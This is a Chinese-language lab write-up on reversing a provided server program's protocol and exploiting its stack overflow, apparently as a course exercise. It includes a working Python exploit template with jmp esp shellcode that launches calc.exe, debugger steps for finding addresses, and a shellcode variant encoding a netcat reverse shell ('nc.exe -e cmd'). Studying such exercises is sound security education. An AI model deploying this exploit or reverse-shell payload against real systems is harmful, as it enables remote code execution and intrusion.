概述
给定server程序,需要逆向破解server的通信协议,输入数据满足一定条件后才可触发栈溢出漏洞。
程序逆向分析
程序首先接收前四个字节,存入v34[-5126],即datalen大小,v34[-5126]赋值给v9,v9再赋值给v10,判断v10-1是否>10234,是则终止程序,所以datalen有长度规定,如下图:
接着接收数据,红框是接收datalen大小的data;蓝框进行了一个判断,即datalen之后接下来三个字节是否是EF DF 01,这就是magicnumber需要满足的第一个条件,如图:
然后判断剩下最高字节,是1就输出OK!,是2就进行一堆操作,可以不用理会,是3就会把data的部分拿来异或,如果最后异或的值是0x12345678能触发漏洞函数了:
漏洞函数有栈溢出:
所以Shellcode格式为:Datalen+magicnumber+控制最终异或值的4B+“\x90”*n+shellcode
EXP模板:
import struct
import sys
import ctypes
shellcode=""
shellcode+="\x12\x09\x00\x00" # 4 bytes for length
shellcode += (
"\xEF\xDF\x01\x03" # MagicNumber 不用改
) #
shellcode+="\x00\x00\x00\x00" #控制最后异或值的4B
shellcode += "\x90"*(2276-len(shellcode)) # nops for stack length
print(len(shellcode))
shellcode += "\x37\x02\x8B\x76" # jmp esp address
shellcode += (
"\xEB\x1C\x5E\x56\x5D\x33\xC0\x88\x46\x08\x8D\x1E\x8B\xDE\x53\xBB"
"\xF0\x49\x56\x76" # system address
"\xFF\xD3\x50\xBB"
"\xF0\x7D\x58\x76" # exit address
"\xFF\xD0\xE8\xDF\xFF\xFF\xFF\x63\x61\x6C\x63\x2E\x65\x78\x65\x64\x64\x64"
)
print(len(shellcode))
shellcode=shellcode.encode('latin-1')
shellcode = bytearray(shellcode)
# Save the binary code to file
with open('dum1.txt', 'wb') as f:
f.write(shellcode)
实验过程
需要改的地方
一共六处
注意:修改的步骤一定要按照下面的顺序来
先修改3(缓冲区长度)
指导手册中让二分法找,其实没必要,直接在IDA32中打开自己的server文件,找到漏洞函数sub_4015B0,查看缓冲区大小,每个人不一样,这个值加上4就是3处应该填的大小(+4是因为要覆盖ebp)
接着修改1(datalen):
跑一下刚刚改好的shellcode的python脚本,下面这个值-4就是1处应该填的值(记得转16进制,小端序)减4的原因是datalen本身就会占4B.
再修改5、 6(system、exit):
直接用给的模板,只需要修改system和exit
寻找system和exit的方法:
跑一遍目前改好的脚本,输出dum.txt,然后在52破解里面打开server程序,点击执行:
出弹窗后另开终端把刚刚生成的dum.txt发过去
不出意外可以停在cmp esi,12345678h处:
如果没停说明没下断点,ctrl+f搜索cmp esi,12345678h,然后f2下断点,重新再执行一边刚刚的操作,就会停在cmp esi,12345678h处:
重新执行用这两个键:
Ollydbg中右键-查找-所有模块名称
然后里面ctrl+f找system和exit,会找到多个,我用的是msvcrt模块的:
接着修改4(jmp esp)
alt+e查看模块,找USER32.dll(其实其他的模块也行,只要能找到jmp esp):
左键双击进入,ctrl+f找jmp esp:
注意:4 5 6的修改必须是在断点停在cmp esi,12345678h处才找,如果提前找的话可能会有误!
最后修改2
确保前面的全都已经改好,运行py脚本得到新的dum.txt
2处一开始全部填0(shellcode+=”\x00\x00\x00\x00″ )
Ollydbg运行server程序,nc输入刚刚运行python脚本生成的dum.txt文件:
nc.exe 127.0.0.1 6666 < dum.txt
程序此时停在了cmp esi,12345678处,我们需要操控一开始填的4个0,使得最终异或值为0x12345678,才能通过这个检测:
打开网站https://www.23bei.com/tool/531.html
数1填12345678,数2填上图得到的esi的值,最后得到的结果就是2处应该填的值(记得小端序):
修改好后再生成dum.txt,重复刚刚的步骤,发现cmp esi,12345678时 esi已经满足条件了:
继续点击执行,即可弹出计算器。
当然,也有可能会出现这种状况:
实验实际上已经成功了,打不开calc.exe是因为环境变量里面没有它,有两种解决方法。
- 重新生成shellcode,把calc.exe改成绝对路径
- 添加环境变量,保证在别的目录里也可以执行calc.exe
添加环境变量:
在别的目录下打开终端,输入calc.exe能打开计算器即为成功。之后再尝试攻击即可弹出计算器:
getshell做法:
只需要exp中shellcode最后一行换成:
“\xFF\xD0\xE8\xDF\xFF\xFF\xFF\x6E\x63\x2E\x65\x78\x65\x20\x2D\x65\x20\x63\x6D\x64\x20\x31\x32\x37\x2E\x30\x2E\x30\x2E\x31\x20\x35\x35\x35\x35\x61\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”
然后修改dalalen和控制异或4B即可:
先把nc.exe所在目录加入环境变量,在别的目录下打开终端,输入nc.exe能启动即为成功。
然后用一个终端nc.exe -lvp 6666,接着用改好后的脚本生成的dum.txt攻击,但是我在攻击时候报错了:
监听6666端口,命令看起来没啥问题
不知道是不是只有我有这个问题,有时间解决了再更新吧